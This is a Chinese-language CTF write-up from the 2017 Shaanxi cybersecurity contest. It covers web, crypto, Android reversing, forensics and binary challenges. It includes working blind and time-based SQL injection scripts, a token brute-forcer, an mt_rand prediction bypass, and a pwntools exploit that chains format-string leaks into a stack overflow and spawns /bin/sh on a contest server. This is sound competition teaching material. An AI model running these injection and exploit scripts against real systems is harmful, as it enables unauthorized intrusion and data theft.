2017年陝西省網絡空間安全技術大賽WP



前言


為提高大學生的網絡安全技術水平,培養大學生的團隊協作能力,由陝西省兵工學會主辦,西安工業大學承辦的“2017年第三屆陝西省網絡空間安全技術大賽”即將於2017年4月15-16日進行線上初賽,2017年5月13日進行線下總決賽。文章為本次大賽第一名的隊伍Mirage的writeup。


web


簽到題

直接源代碼代碼審計,php弱類型 然后第二關 構造

1
<?php class a{ var $key; } $b = new a(); $b->key=0; $c=json_encode($b); echo $c; ?>

image

抽抽獎

沒有數據傳輸,因此判斷代碼在本地。然后在JQuery.js文件里發現JSfuck,解密然后console直接輸入getFlag即可

image

繼續抽

直接爆破,腳本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import hashlib
def encode(str):
     end = ""
     for s in str:
         if ord(s)<128:
             end+="%x"%(255-(ord(s)+128))
         if ord(s)>127:
             end+="%x"%(255-(ord(s)-128))
     return end
flag = []
for x in range(0,200):
     cookies = {'PHPSESSID': '3k2rd4536me3rjsojf473vctd7'}
     r = requests.get("http://117.34.111.15:81/token.php",cookies=cookies)
     m = hashlib.md5(str(x)).hexdigest()
     print x
     print "http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m)
     s = requests.get("http://117.34.111.15:81/get.php?token="+r.text[1:-1]+"&id="+encode(m),cookies=cookies)
     flag.append(s.text)
     print s.text
print set(flag)

image

So easy

代碼審計發現 這里沒有用escape_string,因此存在注入 可是折騰了好久

1
2
3
4
5
6
7
8
9
10
function show($username){
   global $conn;
   $sql = "select role from `user` where username ='".$username."'";
   $res = $conn ->query($sql);
   if($res->num_rows>0){
   echo "$username is ".$res->fetch_assoc()['role'];
   }else{
   die("Don't have this user!");
   }
}

然后通過過濾函數,找到了去年sysclover的一篇Writeup 然后才發現我前段時間遇到過這個操作符構造注入了,可是當時比較忙,沒時間做,因此技能點沒有get

腳本長這樣,雖然丑點,但是能跑出passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
# --coding:utf-8--    import requests
url="http://117.34.111.15:89/?action=show"
passwd=""
lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"
for i in xrange(1,33):
     print i
     for p in lists:
         param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
         print requests.post(url,data=param).content
         if "admin" in requests.post(url,data=param).content:
             passwd=passwd+p
             break
print passwd

登陸就是flag 登陸這里的admin判斷直接用admin%c2這個去繞過,因為剛前段時間看過ph師傅的最近剛寫的文章,然后很快就反應過來了

image

Wrong

隨手就出swp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
   3 error_reporting(0);
   4 function create_password($pw_length =  10)
   5 {
   6 $randpwd = "";
   7 for ($i = 0; $i < $pw_length; $i++)
   8 {
   9 $randpwd .= chr(mt_rand(33, 126));
  10 }
  11 return $randpwd;
  12 }
  13 
  14 session_start();
  15 mt_srand(time());
  16 $pwd=create_password();
  17 
  18 if($pwd==$_GET['pwd'])
  19 {
  20   if($_SESSION['userLogin']==$_GET['login'])
  21 echo "Good job, you get the key";
  22 }
  23 else
  24 {echo "Wrong!";}

剛開始丟給隊友做,隊友做了好久,然后硬是沒剛出來。 看了一下,思路大致如下

1
$pwd==$_GET['pwd']、$_SESSION['userLogin']==$_GET['login']

兩個點,第一個可以通過清空cookie,造成NULL==NULL

第二個點則需要本地提前時間生成pwd pwd生成腳本(注:linux時間改成和服務時間一樣,時區最好也改了吧,反正我第一次沒改時區沒有pass)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
   1 <?php
   2 function create_password($pw_length = 10)
   3 {
   4 $randpwd = "";
   5 for($i=0;$i<$pw_length;$i++)
   6 {
   7 $randpwd.=chr(mt_rand(33,126));
   8 }
   9 return $randpwd;
  10 }
  11 echo date("Y-m-d  h:i:sa")."\n";
  12 mt_srand(time());
  13 $pwd=create_password();
  14 echo $pwd;
  ?>

image

just a test

不知道是誰,在某個地方插了個彈窗。造成XSS的假象,然后打了一中午,發現什么也沒有,就很絕望! 后來隊友提醒是不是注入,然后在URL里試了一下真的是注入???exm??? 先把腳本放上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- coding:utf-8 -*-
import requests
import time
flag=""
for j in xrange(1,50):
     for i in xrange(33,127):
         url="http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20ascii(substr(f1ag,"+str(j)+",1))%20from%20test.`fl@g`%20limit%200,1)="+str(i)+",sleep(0.4),1)%2523"
         a=time.time()
         requests.get(url)
         #print time.time()-a
         print '.',
         if time.time()-a>4:
             print chr(i)
             flag=flag+str(chr(j))
             break
print flag
#database() 5 
#database() test
#table1 fl@g
#column f1ag
#http://117.34.111.15:83/chandni-jewel' union select if((select ascii(substr(f1ag," str(j) ",1)) from test.fl@g limit 0,1)=" str(i) ",sleep(0.4),1)%23
#http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20length(column_name)%20from%20information_schema.columns%20limit 1,1)="+str(i)+",sleep(0.4),1)%2523

開始爆Flag始終沒有爆出來,又很絕望。 懷疑人生然后把payload放到Bp里結果報錯了,才發現表名里有個@,在payload里加個反引號就行了

服務器響應不是很好,跑了很多遍才跑出來flag

image

admin

這題和逆向狗研究了一晚上,只過了第一關。但是題目還是蠻有意思的

1
hint www.tar.gz

大致瀏覽看了下功能

剛開始一直想用hitcon 2015的crypt1的思路去偽造登陸,但是后來發現因為在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$token = '';
$user = '';
$admin = 0;
if (isset($_COOKIE['token'])&&isset($_COOKIE['sign'])) {
     $sign = $_COOKIE['sign'];
     $token = $_COOKIE['token'];
     $arr = explode('|', token_decrypt($token));
     if (count($arr) == 3) {
         if (md5(get_indentify().$arr[0]) === $arr[2] && $sign === $arr[2]) {
             $user = $arr[0];
             $admin = (int)$arr[1];
         }
     }
}

有md5校驗,因此第一種想法被pass了

然后逆狗想到可以 構造 $username|$admin|$md5+padding 為用戶名注冊然后修改cookie即可偽造登錄 因為是CFB模式

image

第二個明文分組的解密只與第一個分組的密文有關,因此可以解出flag的后半段 然而沒什么luan用!

比賽結束以后pcat說是壓縮包的時間,然后把每個時間都試過去?然而?


Crypto


簽到-歡迎來到CSTC2017 10

1
ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=

簽到題, base64 解密,flag : flag{WeiSuoFyu_BieLang}

crypt2 200

通過流量包的分析可以發現有兩個人在用相同的N不同的E,發送給服務器,然后返回一段密文

這個時候就公用了一個N,可以使用RSA的共模攻擊來解決這個問題。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
python
e1 = 3
n1 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
c1 = 15839981826811799772634108807452583389456749354145216574984222938829756753294086924872110969732766251541785740757693788214686206806750788561292837339359061701208001297802597
e2 =7 
n2 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
c2 = 155249880144094802834481749928592059461139577288355397447367776112547796231086359709731959934830872744121046740255722326833958323017063249153808715277882003426237167195613685868065416967276090907468102632169601247074603247233477582113388294508579159856963458656960060635516531998836585340648309492666005454968
def egcd(a, b):
     if a == 0:
         return (b, 0, 1)
     else:
         g, y, x = egcd(b % a, a)
         return (g, x - (b // a) * y, y)
def modinv(a, m):
     g, x, y = egcd(a, m)
     if g != 1:
         raise Exception('modular inverse does not exist')
     else:
         return x % m
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
print s
n=n1
if s1<0:
     s1 = - s1
     c1 = modinv(c1, n)
elif s2<0:
     s2 = - s2
     c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print hex(m)[2:-1].decode('hex')
跑出來flag為 flag{Hc0mm0nModulusR$AH}


Mobile


拯救魯班七號 100

先將lib文件導下來,然后用IDA來分析,是將明文經過一系列的替換,然后再與一個字符串進行比對

android1-1.png

這里有一個__android_log_print 幫助我們分析了,我在動態調試里直接使用logcat 輸出轉換后的格式,然后相對應替換一下位置就可以了。

android1-0.png

需要替換位置的 flag為 S!@#@1FD23154A34

最后flag : flag{!@#@ASDF34511234}

The Marauder's Map 150

用jeb反編譯之后 可以看到三串base64

1
2
3
4
"dGVzdA==" test
"WWVhaH4h";Yeah~!
"dXNlcnM="; users
"Mg=="; 2

還有是對數據庫進行了一系列的操作,所以就將數據庫文明件test導出。

使用了 SQLite format 3的數據庫格式。 分析之后在這個數據庫里可以找到幾個表名和字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CREATE TABLE `sqlitebrowser_rename_column_new_table` (
     `userid`    TEXT,
     `age`   int,
     `birthday`  TEXT,
     `id`    INTEGER
)
CREATE TABLE `users1` (
     `userid`    TEXT,
     `age`   INTEGER,
     `birthday`  TEXT,
     `id`    INTEGER
)
CREATE TABLE "users" (
     `userid`    TEXT,
     `age`   int,
     `birthday`  TEXT,
     `id`    INTEGER
)

接下來使用python 腳本提取數據庫

1
2
3
4
5
6
import shutil
import sqlite3
conn = sqlite3.connect('test')
for row in conn.execute('select userid, age, birthday,id from users'):
print  row
conn.close()

提取兩個表都使用相同的辦法,然后就是解密這個birthday字段了。

1
2
3
4
5
6
7
8
9
10
11
12
(u'zhangsan', 21, u'9838e8884968b968c998e838c9a89838e88829', 1)
(u'lisi', 20, u'9838e888496bfda98afdbb98a9b9a9d9cdfa29', 2)
(u'wangwu', 20, u'9838e88849c908780889b8086908a998a8a83829', 3)
(u'maybe', 23, u'9838e88849897808fcc8e818fcb9a8383829', 4)
(u'how', 23, u'9838e8884968b98cc9fce8c9fcc838a8e8d929', 5)
(u'manual', 22, u'9838e88849e8c9fcc8d969c9b9e83829', 6)
(u'how', 24, u'9838e888496a8c28fc1808b9fc28a8c9c968188829', 1)
(u"I've", 23, u'9838e8884918a8a8b8fc6908a9d9fcd838a8c9c968188829', 2)
(u'been', 22, u'9838e88849b908fc386899a8fc98d9a8a829', 3)
(u'wasting', 22, u'9838e88849b808fc68b9fc9808d9fc28a829', 4)
(u'my', 21, u'9838e888496afcc9a818c9a8fc68b929', 5)
(u'time', 18, u'9838e888496afc28a8e818b9fc68b929', 6)

birthday地方經過了加密

android2-1.png

具體的算法在lib.so里,算法也不復雜,就是簡單的將已經字符變成了倆字符。

然后寫了一個c語言的腳本來暴力跑,可以發現id是2的一個是正確解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
#include<string.h>
int change(int a1)
{
   int v1; // r3@3
   if ( a1 > 9 || a1 < 0 )
   {
if ( a1 <= 9 || a1 > 15 )
   v1 = 255;
else
   v1 = (unsigned __int8)(a1 + 'W');
   }
   else
   {
v1 = (unsigned __int8)(a1 + '0');
   }
   return v1;
}
int main(){
     char flag[]={"9838e888496bfda98afdbb98a9b9a9d9cdfa29"};
     for(int j=0;j<strlen(flag);j+=2){
         for(int i=0;i<255;i++){
             if(change(~i&0xf)==flag[j]&&change((i>>4)^0xe)==flag[j+1]){
                 printf("%c",i);
             }
         }
     }
     return 0;
}

flag : flag{Y0uG0Tfutur3@}

取證密碼 200

這一道android也是比較簡單的。雖然是有加載庫的,但是完全沒難度呀

android3-2.png

android3-1.png

簡單分析一下他的流程就是

1
2
3
4
5
6
7
8
#include<stdio.h>
int main(){
     char arr[]={"yInS567!bcNOUV8vwCDefXYZadoPQRGx13ghTpqrsHklm2EFtuJKLzMijAB094W"};
     char index[]={0x39,0x20,7,0xA,0x20,0x29,0x13,2,0x3A,0xC,0x11,0x31,0x3B,0xB,7};
     for(int i=0;i<15;i++){
         printf("%c",arr[index[i]]);
     }
}

如果使用一下動態調試更是分分鍾出結果。

flag: flag{A1!N1HenBUCu0O!}

人民的名義-抓捕趙德漢1 200

剛開始看到100分的題目都嚇死,出現這個題目的時候真的感覺很簡單。

看到有一個md5字符串,直接試了一下沒想到就輕松的過了。

android4-2.png

android4-1.png

flag: flag{monkey99}

人民的名義-抓捕趙德漢2 200

相當於jar的逆向,這個題目惡心的地方就是去加混淆了

android5-1.png

具體的算法其實不是很復雜,這里比較重要,但是這里有一個難點就是重寫了arraycopy,這里調用了start的main函數。。我在這里去了一下混淆,勉強很夠的到字符串,然后經過 ((c>>1)+15) 之后的字符串,這里解密出來為 "JsnatterrtJuaththovacke"

android5-2.png

android5-3.png

寫個一個java腳本跑了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
java
public class test {
     //static String arr1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";    
     //static String arr2 = "ZYXWVUTSRQPONMLKJIHGFEDCBA";
     public static void main(String args[]){
         String arr1 = "JsnatterrtJuaththovacke";
       for(int i=0;i<19;i++){
           if(i==4||i==9||i==14||i==19){
               System.out.print('-');
           }else{
               System.out.print(arr1.charAt(check(i,arr1)));
           }
       }
     }
     public static int check(int i,String arg){
         return te(i)%arg.length();
     }
     public static int te(int i){
         if(i>2){
             return te(i-1)+te(i-2);
         }
         return 1;
     }
}

最后得到flag : flag{sssn-trtk-tcea-akJr}


MISC


一維碼 100

給了一個條形碼文件,用掃碼工具掃一下得到 keyword:hydan

一看這個條形碼文件巨大,有500多K,肯定有詐,用stegslove打開

misc1-1.png

選中最低位,在lsb下有ELF文件頭,果斷保存了這個bin文件,逆向分析了一波,,什么都沒有。

這個文件是就是一個tar工具。

然后想到是使用hydan,百度了一下hydan,第一條就是。

乾坤 125

一個流量包文件,直接丟進wireshark分析一波,發現大多是http協議的流量,在 "文件 -> 導出對象" 選擇HTTP,查看其傳輸內容,發現有兩個通過郵箱傳輸的壓縮文件。

3.png

點進去查看下,發現是文件名都為flag.zip,但是大小不同的文件。把他們都解壓一遍,得到“encode.py”、“flag.exe”兩個文件,用winhex查看flag.exe,在其末尾發現編碼字符,接下來就是寫出對應的解碼腳本。腳本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
python
from base64 import b64decode
def decode(a):
     a = list(a)
     for j in range(0,len(a)):
         if a[j]=='*':
             a[j]='W'
     for k in range(0,len(a)):
         if a[k]=='_':
             a[k]='1'
     a.reverse()
     flag_1=''.join(a)
     for i in range(0,25):
         flag_1=b64decode(flag_1)
     print flag_1
with open("plaint.txt","r") as f:
     decode(f.read())

軌跡 150

記得X-NUCA的misc專場出過USB的流量分析題

http://bobao.360.cn/learning/detail/3351.html

tshark.exe -r trace.io -T fields -e usb.capdata > usbdata.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
01:00:00:00:ff:ff:00:00
01:00:00:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00

跑出來這樣的數據。

第一位沒什么用,第二位是0代表沒有按鍵,1代表鼠標左擊,2代表鼠標右擊。

第三第四位 合起來 像word字節,代表水平方向負數、正數代表左右移。

第五第六位 合起來 代表垂直方向上下移動。

直接使用腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
nums = []
keys = open('usbdata.txt','r')
out = open('data.txt','w')
posx = 60
posy = 10
for line in keys:
     # if len(line) != 12 :
          # continue
     x = int(line[6:8],16)
     y = int(line[12:14],16)
     # print x,y
     if x > 127 :
         x -= 256
     if y > 127 :
         y -= 256
     posx += x
     posy += y
     btn_flag = int(line[3:5],16)  # 1 for left , 2 for right , 0 for nothing
     if btn_flag == 1 :
         out.write( "%d %d\n"%(posx ,posy))
keys.close()
out.close()

得到坐標之后

再到kali用 gnuplot 來畫圖,

misc3-1.png

flag{stego_xatu@}

種棵樹吧 100

第一個圖片后面連接了一個zip。

解壓出一個gif但是少了一點文件頭,添加GIF89文件頭。然后可以看到一張圖片。

misc4-1.png

misc4-2.png

misc4-3.png

第二張圖直接看屬性

misc4-4.png

就得到 Post-order{YR!eVa-gLAoxdj{pw}8zkUnGuIHh:r65f2lFsEi} In-order{RY!heHVaL-goAI{dxjGpnUw8}kzuEr:s56fFl2i}

1
hi! HERe Is Your FLAG :flag{n52V-jpU6d_kx8zw}

接下來按照層序排列可以得到flag:flag{n52V-jpU6d_kx8zw}

我們的秘密 250

這一題比較復雜。

先用二進制查看器看了一下壓縮包的結構,發現有很多個readme.txt

然后將最底層的一個readme.zip摳出來,試了一下偽加密,是可以過的。

里面是"為提高大學生的網絡安全技術水平,培養大學生的團隊協作能力,由陝西省兵工學會主辦,西安工業大學承辦的“2017年第三屆陝西省網絡空間安全技術大賽”即將於2017年4月15-16日進行線上初賽,2017年5月13日進行線下總決賽。"

然后前面一個zip是真加密,這里我想到了使用zip的明文攻擊

跑了我一個多小時才跑出來,,,電腦太差勁了。

misc5-1.png

跑出來是 3xatu2o17

misc5-3.png

解壓出三個文件,然后wav的是莫斯電碼 解出來是,CTFSECWAR2017

試了一下提交flag然后沒過

接下來想到還有一個mp4然后用各種工具去嘗試,加密密鑰為CTFSECWAR2017。在使用到 OurSecret的時候,結果正確了得到flag

misc5-2.png

flag{v1de0c0nc3a1lala}

什么玩意

這一題初看是一個藍牙的pin碼破解,在github上找到了腳本,BTcrack

《無線網絡安全攻防實戰進階》楊哲 寫的這一本書中也包含了這一個的講解。

而且網上也找到了相同的題目文件。

misc6-1.png

同時也獲得了 link key 。但是第一個文件 只有數字,,沒有這方面的知識完全不會做。。只能夠做到這一層了。

misc6-2.png

真的是什么玩意兒!


Bin


Now you see me 200

這個題目我想要打人了。。出題人這樣就沒有意思了。

在exe的屬性里面,放了flag的前半段。就是

bin1-1.png

解密出來為 flag{root@mail:

bin1-2.png

在ida中首先找到了字符串,就是 Verification code:

然后可以使用 OD去跟蹤這一部分的代碼了。

具體的加密函數為sub_402640。

是使用 有這樣的操作,輸入的長度為9. 應該都是要輸入數字。

然后分成三組,每一組記作a1,a2,a3

1
2
3
(a1+a2)*2-a1 == cmp1
(a2*3)-a2 ==cmp2
(a2*5+a3*2)-a3 == cmp3

比對的數組為 0x0b 0x06 0x15 0x0b 0x04 0x0e 0x16 0x10 0x31

寫了一個簡單腳本暴力了一下,輕松得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cpp
#include<stdio.h>
#include<string.h>
int main(){
     char flag[]={0x0b ,0x06 ,0x15 ,0x0b ,0x04 ,0x0e ,0x16 ,0x10 ,0x31};
     for(int i=0;i<16;i++){
         for(int j=0;j<16;j++){
             for(int z=0;z<16;z++){
                 if(((i+j)*2-i==flag[6])&&(j*3-j==flag[7])&&(j*5+z*2-z)==flag[8]){
                     printf("%d %d %d\n",i,j,z);
                 }
             }
         }
     }
}

得到536 724 689

所以 flag{root@mail:0IdWan9}

Magical Box 200

首先看了下防護機制

bin3-1.png

然后在IDA中可以看到一個相當明顯的格式化字符串漏洞 

bin3-2.png

got表無法修改,但是在棧空間中可以找到canary的值,以及___libc _ start _main函數地址

bin3-3.png

同時對輸入的用戶名進行了一步異或操作后進行驗證

bin3-4.png

bin3-5.png

已經已知了s2,動態調試出了用戶名為admin2017c,繼續跟下去后發現一個棧溢出漏洞

bin3-6.png

寫完EXP后本地能過遠程過不了,猜測是__lib_start_main函數的本地偏移與遠程不同采取爆破的辦法出了flag

bin3-7.png

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
python
from pwn import *
#context(log_level="debug")
#p = process("./pwn_box")
#libc = ELF('libc.so.6')
libc = ELF('libc.so.6_pwnbox')
elf = ELF('pwn_box')
puts_got = 0x0804b030
printf_got = 0x0804b010
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0],"b *0x08048A11\nc")
#launch_gdb()
for x in range(240,0xff):
     try:
         print x
         p = remote('117.34.80.134',7777)
         #p = remote('127.0.0.1',10001)
         p.recvuntil("?\n")
         p.sendline("%7$x")
         p.recvuntil("!")
         canary = int('0x'+p.recv(8),16)
         #print hex(canary)
         p.recvuntil("?\n")
         p.sendline("%43$x")
         p.recvuntil("!")
         libc_start_main_addr = int('0x'+p.recv(8),16)-x
         #print hex(libc_start_main_addr)
         plt =  libc.symbols['__libc_start_main']
         system_addr = libc_start_main_addr- (plt - libc.symbols['system'])
         binsh_addr = libc_start_main_addr- (plt - next(libc.search('/bin/sh')))
         #print hex(system_addr)
         #print hex(binsh_addr)
         p.recvuntil("?\n")
         p.sendline("admin2017c")
         p.recvuntil(".\n\n")
         p.sendline('add')
         p.recvuntil(": ")
         p.sendline("20")
         p.recvuntil(": ")
         p.sendline("a")
         p.recvuntil(": ")   
         payload = 'a'*30 + p32(canary)+'b'*0xc+p32(system_addr)+p32(0)+p32(binsh_addr)
         p.sendline(payload)
         p.interactive()
     except:
         p.close()
         continue
#x=243


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM